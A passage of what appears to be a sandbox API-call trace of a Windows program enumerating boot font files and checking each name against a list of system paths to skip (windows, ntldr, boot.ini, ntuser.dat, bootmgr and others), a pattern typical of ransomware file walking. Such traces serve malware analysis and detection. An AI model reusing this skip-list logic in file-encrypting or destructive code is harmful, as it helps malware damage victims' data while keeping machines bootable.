out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xce35fd10, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce35fd10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.490] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0044.491] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0044.491] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2=".") returned 1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="..") returned 1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="...") returned 1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="windows") returned -1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="$RECYCLE.BIN") returned 1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="rsa") returned -1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="NTDETECT.COM") returned -1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="ntldr") returned -1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="MSDOS.SYS") returned -1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="IO.SYS") returned -1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="boot.ini") returned 1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="boot.ini") returned 1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="AUTOEXEC.BAT") returned 1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="ntuser.dat") returned -1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="desktop.ini") returned -1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="CONFIG.SYS") returned -1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="RECYCLER") returned -1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="BOOTSECT.BAK") returned 1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="bootmgr") returned 1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="programdata") returned -1 [0044.491] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="appdata") returned 1 [0044.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chs_boot.ttf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chs_boot.ttf", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chs_boot.ttf", lpUsedDefaultChar=0x0) returned 12 [0044.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chs_boot.ttf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chs_boot.ttf", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chs_boot.ttf", lpUsedDefaultChar=0x0) returned 12 [0044.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chs_boot.ttf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chs_boot.ttf", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chs_boot.ttf", lpUsedDefaultChar=0x0) returned 12 [0044.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chs_boot.ttf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chs_boot.ttf", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chs_boot.ttf", lpUsedDefaultChar=0x0) returned 12 [0044.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0044.492] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2=".") returned 1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="..") returned 1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="...") returned 1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="windows") returned -1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="$RECYCLE.BIN") returned 1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="rsa") returned -1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="NTDETECT.COM") returned -1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="ntldr") returned -1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="MSDOS.SYS") returned -1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="IO.SYS") returned -1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="boot.ini") returned 1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="boot.ini") returned 1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="AUTOEXEC.BAT") returned 1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="ntuser.dat") returned -1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="desktop.ini") returned -1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="CONFIG.SYS") returned -1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="RECYCLER") returned -1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="BOOTSECT.BAK") returned 1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="bootmgr") returned 1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="programdata") returned -1 [0044.492] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="appdata") returned 1 [0044.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cht_boot.ttf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cht_boot.ttf", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cht_boot.ttf", lpUsedDefaultChar=0x0) returned 12 [0044.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cht_boot.ttf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cht_boot.ttf", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cht_boot.ttf", lpUsedDefaultChar=0x0) returned 12 [0044.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cht_boot.ttf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cht_boot.ttf", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cht_boot.ttf", lpUsedDefaultChar=0x0) returned 12 [0044.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cht_boot.ttf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cht_boot.ttf", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cht_boot.ttf", lpUsedDefaultChar=0x0) returned 12 [0044.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.493] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0044.493] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2=".") returned 1 [0044.493] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="..") returned 1 [0044.493] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="...") returned 1 [0044.493] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="windows") returned -1 [0044.493] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="$RECYCLE.BIN") returned 1 [0044.493] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="rsa") returned -1 [0044.493] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="NTDETECT.COM") returned -1 [0044.493] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="ntldr") returned -1 [0044.493] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="MSDOS.SYS") returned -1 [0044.493] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="IO.SYS") returned 1 [0044.493] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="boot.ini") returned 1 [0044.493] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="boot.ini") returned 1 [0044.493] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="AUTOEXEC.BAT") returned 1 [0044.493] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="ntuser.dat") returned -1 [0044.493] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="desktop.ini") returned 1 [0044.494] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="CONFIG.SYS") returned 1 [0044.494] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="RECYCLER") returned -1 [0044.494] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="BOOTSECT.BAK") returned 1 [0044.494] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="bootmgr") returned 1 [0044.494] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="programdata") returned -1 [0044.494] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="appdata") returned 1 [0044.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jpn_boot.ttf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jpn_boot.ttf", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jpn_boot.ttf", lpUsedDefaultChar=0x0) returned 12 [0044.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jpn_boot.ttf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jpn_boot.ttf", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jpn_boot.ttf", lpUsedDefaultChar=0x0) returned 12 [0044.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jpn_boot.ttf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jpn_boot.ttf", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jpn_boot.ttf", lpUsedDefaultChar=0x0) returned 12 [0044.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jpn_boot.ttf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jpn_boot.ttf", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jpn_boot.ttf", lpUsedDefaultChar=0x0) returned 12 [0044.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.494] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0044.494] lstrcmpiW (lpString1="kor_boot.ttf", lpString2=".") returned 1 [0044.494] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="..") returned 1 [0044.494] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="...") returned 1 [0044.494] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="windows") returned -1 [0044.494] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="$RECYCLE.BIN") returned 1 [0044.494] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="rsa") returned -1 [0044.494] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="NTDETECT.COM") returned -1 [0044.494] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="ntldr") returned -1 [0044.495] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="MSDOS.SYS") returned -1 [0044.495] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="IO.SYS") returned 1 [0044.495] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="boot.ini") returned 1 [0044.495] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="boot.ini") returned 1 [0044.495] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="AUTOEXEC.BAT") returned 1 [0044.495] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="ntuser.dat") returned -1 [0044.495] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="desktop.ini") returned 1 [0044.495] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="CONFIG.SYS") returned 1 [0044.495] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="RECYCLER") returned -1 [0044.495] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="BOOTSECT.BAK") returned 1 [0044.495] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="bootmgr") returned 1 [0044.495] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="programdata") returned -1 [0044.495] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="appdata") returned 1 [0044.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="kor_boot.ttf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="kor_boot.ttf", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kor_boot.ttf", lpUsedDefaultChar=0x0) returned 12 [0044.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="kor_boot.ttf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="kor_boot.ttf", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kor_boot.ttf", lpUsedDefaultChar=0x0) returned 12 [0044.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="kor_boot.ttf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="kor_boot.ttf", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kor_boot.ttf", lpUsedDefaultChar=0x0) returned 12 [0044.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="kor_boot.ttf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="kor_boot.ttf", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kor_boot.ttf", lpUsedDefaultChar=0x0) returned 12 [0044.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.495] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0044.495] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2=".") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="..") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="...") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="windows") returned -1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="$RECYCLE.BIN") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="rsa") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="NTDETECT.COM") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="ntldr") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="MSDOS.SYS") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="IO.SYS") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="boot.ini") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="boot.ini") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="AUTOEXEC.BAT") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="ntuser.dat") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="desktop.ini") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="CONFIG.SYS") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="RECYCLER") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="BOOTSECT.BAK") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="bootmgr") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="programdata") returned 1 [0044.496] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="appdata") returned 1 [0044.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wgl4_boot.ttf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0044.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wgl4_boot.ttf", cchWideChar=13, lpMultiByteStr=0x653f590, cbMultiByte=13, 